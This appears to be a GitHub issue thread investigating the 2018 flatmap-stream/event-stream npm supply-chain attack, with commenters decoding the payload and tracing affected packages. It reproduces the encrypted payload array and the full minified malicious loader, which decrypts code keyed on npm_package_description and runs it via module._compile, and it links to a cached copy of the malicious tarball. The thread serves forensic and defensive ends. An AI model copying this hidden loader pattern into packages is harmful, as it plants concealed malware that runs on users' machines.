module.exports=["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"];

FWIW, the flatmap-stream package has been unpublished from npm:

 ⇶ npm view flatmap-stream
npm ERR! code E404
npm ERR! 404 Unpublished by npm-support on 2018-11-26T17:18:17.658Z

The most correct answer. Focus on solving the problem, not pointing fingers.

Ding ding ding. I'm going to just add 👎 to blame game participants, and I'd recommend others do the same without engaging. Let's keep this thread focused on solving the problem and decoding the payload rather than complaining about the software none of us paid for or contributed to.

@cnorthwood The npm_package_* environment variables are set by npm to correspond with fields in the package.json of the top-level package whenever a script from the package is run. (see https://docs.npmjs.com/misc/scripts) I think this means that the attack wouldn't be triggered just by require-ing the package in your code, but when you run a script from the targeted package? The code does have a check to stop if npm_package_description isn't set (as would be the case in a normal program)

commented

When using Get all children of a pid as the decryption key, nothing happens other than a syntax error, which is caught and ignored. Any other possible decryption key will result in "bad decrypt".

Attached is a list of every public package on npm, as of 2018-11-12, that depended on flatmap-stream either directly or indirectly.

cc @cnorthwood

flatmap-deps-list.txt

Thanks @joepie91 I'll try to automate the extraction with that list :-)

@patosai That only lists the direct dependents. It's more likely to be in an indirect dependent, which won't show in that list. You can use the list I posted for that purpose, or recreate it:

curl https://gzemnid.nodejs.org/datasets/out.2018-11-12/deps-nested.json.lz4 | unlz4 | grep flatmap-stream > ~/flatmap-deps.txt
cat ~/flatmap-deps.txt | grep -oE '^"[^"]+"' | sed 's:^.\(.*\).$:\1:' > ~/flatmap-deps-list.txt

Is there a means to get NPM to add this to the security reports for npm audit? Just ran this on a repo that does have flatmap-stream in package-lock, and it reports no issues. Seems like that's a glaring hole if they've already removed the module from NPM.

We got rid of the event-stream dependency, here's how: https://github.com/sweetalert2/sweetalert2/pull/1305/files

@shellscape Probably via their security team. Unfortunately, it sounds like they're still reeling from Thanksgiving.

@shellscape The entire flatmap-stream package has been unpublished, so it should not be installable at all anymore. The npm audit lists are only used to warn of legitimate packages that have accidental vulnerabilities in them, the outright malicious ones are just removed entirely.

@shellscape I'd recommend contacting the npm security team.

I'm downloading all packages descriptions using the list that @joepie91 provided. I'll post the file here as soon as I finished (there are a lot of packages) so everyone can experiment with that.

@shellscape Probably via their security team. Unfortunately, it sounds like they're still reeling from Thanksgiving.

Looks like the target is the cosa package

You can search your company's code for usage of event-stream here: https://github.com/search?l=JSON&q=org%3Areduxjs+event-stream&type=Code

Just swap out org:reduxjs for your own org's name.

@dominictarr: although I completely disagree with someone else contacting npm support, I contacted npm support myself for now.

You put at risk millions of people, and making something for free, but public, means you are responsible for the package.

Anyway, I don't want to argue about this, I just want the issue to be solved, because this is a popular package.

Someone didn't read the LICENSE file...

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

@tuxone how do you know?

commented

@tuxone what gives?

createDecipher works with "cosa" as password.

I can't decrypt the payload with both cosa and highlandjs packages descriptions, so I don't think so. @sandro-pasquali @tuxone Why do you think that?

The npm_package_* environment variables are set by npm to correspond with fields in the package.json of the top-level package whenever a script from the package is run.

FYI: I just noticed that the value of npm_package_description can also come from some other file if description is not set in package.json. In my test example, NPM takes the value from README.md....I haven't yet found the source of this behaviour, but it's clear that the decryption key doesn't necessarily come from package.json.

It can decrypt okay with several passwords, the issue is that what it them decoded later on is giberish. Also, it needs to be the description of the package, not the name.

@Gekkio Do you have an example case?

The most correct answer. Focus on solving the problem, not pointing fingers.

Once the problem has been addressed a discussion on etiquette and community expectations is prudent.

There is an implicit web of trust within open source and events like this bring to light how simultaneously important and difficult it is for projects to be aware of their impact and behave accordingly.

For those doing forensics, the Yarn registry proxy still has flatmap-stream in its cache: https://registry.yarnpkg.com/flatmap-stream/-/flatmap-stream-0.1.1.tgz

@Gekkio Do you have an example case?

index.js:

console.info(process.env.npm_package_description)

package.json:

{
  "name": "test",
  "scripts": {
    "doit": "node index.js"
  }
}

README.md:

# Test1

Test2

Running npm run doit prints Test2

@Gekkio Well, that's gonna make things more interesting to reverse...

Thanks for figuring that out for us.

@cnorthwood I'm trying with several descriptions from the dependency list as passwords. Right now, ps-tree is the only that has a "compatible" password, but the output is giberish. What other passwords did you find?

commented

People point out that @right9ctrl was an "untrusted", "unknown" developer, but it doesn't change anything had dominic waited until they make N good contributions to the project over N years before transferring ownership / publish rights. They might as well've been contributing to the project for 5 years before the transfer event, so I think it's a bark up the wrong tree if we're looking at this from the perspective of trying to prevent this kind of thing across the ecosystem.

FYI ps-tree@1.1.1 locked to event-stream@3.3.4 (which if I read this thread correctly pre-dates the questionable changes).

Thanks to folks for bringing it to my attention: indexzero/ps-tree#34

This link: https://unpkg.com/flatmap-stream@0.1.1/index.min.js

Gives me this code:

var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t?(void 0!==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&!n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1,void 0!==r)return w(r,a);a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable");s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return!f}catch(r){if(s)throw r;return p(r),!f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i};!function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(!o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9]));a+=u.final(e(n[9]));var f=new module.constructor;f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();

Does anyone have a copy of the affected package files / tarball?

@Enrico204 could it be that this is a targeted attack against a potentially closed source project instead?

@Fishrock123 that link was posted just a few comments before yours. The link is https://registry.yarnpkg.com/flatmap-stream/-/flatmap-stream-0.1.1.tgz

For those doing forensics, the Yarn registry proxy still has flatmap-stream in its cache: https://registry.yarnpkg.com/flatmap-stream/-/flatmap-stream-0.1.1.tgz

0.1.0, 0.1.1, and 0.1.2 on the yarn registry don't seem to contain the affected code

sorry; it indeed does--look for 2e2f746573742f64617461

@beaugunderson incorrect. The 0.1.1 does contain it. I just downloaded and verified.